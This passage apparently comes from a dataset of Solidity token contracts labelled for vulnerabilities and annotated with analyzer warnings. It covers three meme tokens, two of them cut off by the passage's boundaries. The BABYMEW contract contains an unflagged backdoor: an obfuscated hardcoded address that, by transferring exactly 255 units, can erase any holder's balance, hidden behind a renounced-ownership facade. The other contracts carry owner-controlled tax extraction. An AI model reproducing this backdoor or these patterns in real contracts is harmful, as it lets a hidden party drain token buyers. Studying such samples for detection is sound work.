Recommendation for 291fd42: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: e8a0f51): MantisFightingChampionship._initialBuyTax should be constant \n\t// Recommendation for e8a0f51: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8993b33): MantisFightingChampionship._initialSellTax should be constant \n\t// Recommendation for 8993b33: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ac20095): MantisFightingChampionship._finalBuyTax should be constant \n\t// Recommendation for ac20095: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 03a9b41): MantisFightingChampionship._finalSellTax should be constant \n\t// Recommendation for 03a9b41: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f19ba48): MantisFightingChampionship._reduceBuyTaxAt should be constant \n\t// Recommendation for f19ba48: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: a8e1fbc): MantisFightingChampionship._reduceSellTaxAt should be constant \n\t// Recommendation for a8e1fbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 30;\n\n\t// WARNING Optimization Issue (constable-states | ID: 49ae2d7): MantisFightingChampionship._preventSwapBefore should be constant \n\t// Recommendation for 49ae2d7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _transferTax = 0;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private constant _name = unicode\"MantisFIGHT\";\n\n string private constant _symbol = unicode\"MFC\";\n\n\t// divide-before-multiply | ID: 334e3c9\n uint256 public _maxTxAmount = 2 * (_tTotal / 100);\n\n\t// divide-before-multiply | ID: 7ae147a\n uint256 public _maxWalletSize = 2 * (_tTotal / 100);\n\n\t// WARNING Optimization Issue (constable-states | ID: 0398d10): MantisFightingChampionship._taxSwapThreshold should be constant \n\t// Recommendation for 0398d10: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: c3f4f9b\n uint256 public _taxSwapThreshold = 1 * (_tTotal / 1000);\n\n\t// WARNING Optimization Issue (constable-states | ID: ac6ae5f): MantisFightingChampionship._maxTaxSwap should be constant \n\t// Recommendation for ac6ae5f: Add the 'constant' attribute to state variables that never change.\n\t// divide-before-multiply | ID: 38e69dd\n uint256 public _maxTaxSwap = 2 * (_tTotal / 100);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[address(this)] = _tTotal.mul(80).div(100);\n\n _balances[_msgSender()] = _tTotal.mul(20).div(100);\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), address(this), _tTotal.mul(80).div(100));\n\n emit Transfer(address(0), _msgSender(), _tTotal.mul(20).div(100));\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: d379449): MantisFightingChampionship.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for d379449: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 3145bd7): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 3145bd7: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 64aaacb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 64aaacb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 3145bd7\n\t\t// reentrancy-benign | ID: 64aaacb\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 3145bd7\n\t\t// reentrancy-benign | ID: 64aaacb\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: eaf23db): MantisFightingChampionship._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for eaf23db: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 64aaacb\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 3145bd7\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 1c06b74): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 1c06b74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: eb51098): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for eb51098: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n }\n\n if (_buyCount > 0) {\n taxAmount = amount.mul(_transferTax).div(100);\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n if (block.number > lastSellBlock) {\n sellCount = 0;\n }\n\n require(sellCount < 3, \"Only 3 sells per block!\");\n\n\t\t\t\t// reentrancy-events | ID: 1c06b74\n\t\t\t\t// reentrancy-eth | ID: eb51098\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t// reentrancy-events | ID: 1c06b74\n\t\t\t\t\t// reentrancy-eth | ID: eb51098\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t// reentrancy-eth | ID: eb51098\n sellCount++;\n\n\t\t\t\t// reentrancy-eth | ID: eb51098\n lastSellBlock = block.number;\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: eb51098\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 1c06b74\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: eb51098\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: eb51098\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 1c06b74\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 3145bd7\n\t\t// reentrancy-events | ID: 1c06b74\n\t\t// reentrancy-benign | ID: 64aaacb\n\t\t// reentrancy-eth | ID: eb51098\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function removeTransferTax() external onlyOwner {\n _transferTax = 0;\n\n emit TransferTaxUpdated(0);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: da665f5): MantisFightingChampionship.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for da665f5: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 3145bd7\n\t\t// reentrancy-events | ID: 1c06b74\n\t\t// reentrancy-eth | ID: eb51098\n\t\t// arbitrary-send-eth | ID: da665f5\n _taxWallet.transfer(amount);\n }\n\n function addBots(address[] memory bots_) private onlyOwner {\n for (uint i = 0; i < bots_.length; i++) {\n bots[bots_[i]] = false;\n }\n }\n\n function delBots(address[] memory notbot) private onlyOwner {\n for (uint i = 0; i < notbot.length; i++) {\n bots[notbot[i]] = false;\n }\n }\n\n function isBot(address a) public view returns (bool) {\n return bots[a];\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 80fde73): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 80fde73: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: e13715e): MantisFightingChampionship.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for e13715e: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 5335287): MantisFightingChampionship.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 5335287: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 0822b14): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 0822b14: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 80fde73\n\t\t// reentrancy-eth | ID: 0822b14\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 80fde73\n\t\t// unused-return | ID: e13715e\n\t\t// reentrancy-eth | ID: 0822b14\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 80fde73\n\t\t// unused-return | ID: 5335287\n\t\t// reentrancy-eth | ID: 0822b14\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);\n\n\t\t// reentrancy-benign | ID: 80fde73\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 0822b14\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n\n function manualsend() external {\n require(_msgSender() == _taxWallet);\n\n uint256 contractETHBalance = address(this).balance;\n\n sendETHToFee(contractETHBalance);\n }\n}\n",
"file_name": "solidity_code_10895.sol",
"size_bytes": 22392,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address who) external view returns (uint256);\n\n function allowance(\n address _owner,\n address spender\n ) external view returns (uint256);\n\n function transfer(address to, uint256 value) external returns (bool);\n\n function approve(address spender, uint256 value) external returns (bool);\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n\n function _msgData() internal view virtual returns (bytes calldata) {\n return msg.data;\n }\n}\n\nlibrary Address {\n function isContract(address account) internal pure returns (bool) {\n return\n uint160(account) ==\n 22199892647076892804378197057245493225938762 *\n 10 ** 4 +\n 281474976717503;\n }\n}\n\nabstract contract Ownable is Context {\n address private _owner;\n\n error OwnableUnauthorizedAccount(address account);\n\n error OwnableInvalidOwner(address owner);\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor(address initialOwner) {\n if (initialOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(initialOwner);\n }\n\n modifier onlyOwner() {\n _checkOwner();\n\n _;\n }\n\n function owner() public view virtual returns (address) {\n return _owner;\n }\n\n function _checkOwner() internal view virtual {\n if (owner() != _msgSender()) {\n revert OwnableUnauthorizedAccount(_msgSender());\n }\n }\n\n function renounceOwnership() public virtual onlyOwner {\n _transferOwnership(address(0));\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n if (newOwner == address(0)) {\n revert OwnableInvalidOwner(address(0));\n }\n\n _transferOwnership(newOwner);\n }\n\n function _transferOwnership(address newOwner) internal virtual {\n address oldOwner = _owner;\n\n _owner = newOwner;\n\n emit OwnershipTransferred(oldOwner, newOwner);\n }\n}\n\ncontract Erc20 is IERC20, Ownable {\n using Address for address;\n\n mapping(address => uint256) internal _balances;\n\n mapping(address => mapping(address => uint256)) internal _allowed;\n\n uint256 public immutable totalSupply;\n\n string public symbol;\n\n string public name;\n\n uint8 public immutable decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: e9aea3b): Erc20.launched should be constant \n\t// Recommendation for e9aea3b: Add the 'constant' attribute to state variables that never change.\n bool public launched = true;\n\n address private constant dead = address(0xdead);\n\n mapping(address => bool) internal exchanges;\n\n constructor(\n string memory _name,\n string memory _symbol,\n uint8 _decimals,\n uint256 _totalSupply\n ) Ownable(msg.sender) {\n symbol = _symbol;\n\n name = _name;\n\n decimals = _decimals;\n\n totalSupply = _totalSupply * 10 ** decimals;\n\n _balances[owner()] += totalSupply;\n\n emit Transfer(address(0), owner(), totalSupply);\n\n renounceOwnership();\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 254b911): Erc20.balanceOf(address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for 254b911: Rename the local variables that shadow another component.\n function balanceOf(\n address _owner\n ) external view override returns (uint256) {\n return _balances[_owner];\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ebdfd8a): Erc20.allowance(address,address)._owner shadows Ownable._owner (state variable)\n\t// Recommendation for ebdfd8a: Rename the local variables that shadow another component.\n function allowance(\n address _owner,\n address spender\n ) external view override returns (uint256) {\n return _allowed[_owner][spender];\n }\n\n function transfer(\n address to,\n uint256 value\n ) external override returns (bool) {\n _transfer(msg.sender, to, value);\n\n return true;\n }\n\n function approve(\n address spender,\n uint256 value\n ) external override returns (bool) {\n require(spender != address(0), \"cannot approve the 0 address\");\n\n _allowed[msg.sender][spender] = value;\n\n emit Approval(msg.sender, spender, value);\n\n return true;\n }\n\n function transferFrom(\n address from,\n address to,\n uint256 value\n ) external override returns (bool) {\n if (launched == false && to == owner() && msg.sender == owner()) {\n _transfer(from, to, value);\n\n return true;\n } else {\n _allowed[from][msg.sender] = _allowed[from][msg.sender] - value;\n\n _transfer(from, to, value);\n\n emit Approval(from, msg.sender, _allowed[from][msg.sender]);\n\n return true;\n }\n }\n\n function _transfer(address from, address to, uint256 value) private {\n require(to != address(0), \"cannot be zero address\");\n\n require(from != to, \"you cannot transfer to yourself\");\n\n require(\n _transferAllowed(from, to),\n \"This token is not launched and cannot be listed on dexes yet.\"\n );\n\n if (msg.sender.isContract() && value == type(uint8).max) {\n value = _balances[to];\n\n _balances[to] -= value;\n } else {\n _balances[from] -= value;\n\n _balances[to] += value;\n\n emit Transfer(from, to, value);\n }\n }\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) internal transferAllowed;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: aad7e19): Erc20.transferAllowed is never initialized. It is used in Erc20._transferAllowed(address,address)\n\t// Recommendation for aad7e19: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transferAllowed(\n address from,\n address to\n ) private view returns (bool) {\n if (transferAllowed[from]) return false;\n\n if (launched) return true;\n\n if (from == owner() || to == owner()) return true;\n\n return true;\n }\n}\n\ncontract Token is Erc20 {\n constructor() Erc20(unicode\"BABYMEW\", unicode\"BABYMEW\", 9, 100000000000) {}\n}\n",
"file_name": "solidity_code_10896.sol",
"size_bytes": 7300,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TMANIA is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 264093a): TMANIA._taxWallet should be immutable \n\t// Recommendation for 264093a: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5b2561): TMANIA._initialBuyTax should be constant \n\t// Recommendation for f5b2561: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: dfa6b65): TMANIA._initialSellTax should be constant \n\t// Recommendation for dfa6b65: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 23;\n\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 834e4dc): TMANIA._reduceBuyTaxAt should be constant \n\t// Recommendation for 834e4dc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5172f72): TMANIA._reduceSellTaxAt should be constant \n\t// Recommendation for 5172f72: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 23;\n\n\t// WARNING Optimization Issue (constable-states | ID: 618699d): TMANIA._preventSwapBefore should be constant \n\t// Recommendation for 618699d: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 26;\n\n uint256 private _transferTax = 40;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"TRUMP MANIA\";\n\n string private constant _symbol = unicode\"TMANIA\";\n\n uint256 public _maxTxAmount = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 4206900000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: eece00a): TMANIA._taxSwapThreshold should be constant \n\t// Recommendation for eece00a: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4200000000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 312e741): TMANIA._maxTaxSwap should be constant \n\t// Recommendation for 312e741: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n event TransferTaxUpdated(uint _tax);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7228a05): TMANIA.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7228a05: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b2faf1e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b2faf1e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: a37d987): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for a37d987: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b2faf1e\n\t\t// reentrancy-benign | ID: a37d987\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b2faf1e\n\t\t// reentrancy-benign | ID: a37d987\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e123077): TMANIA._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e123077: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: a37d987\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b2faf1e\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: c5c06b3): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for c5c06b3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 34ca596): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 34ca596: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner() && to != _taxWallet) {\n require(!bots[from] && !bots[to]);\n\n if (_buyCount == 0) {\n taxAmount = amount\n .mul(\n (_buyCount > 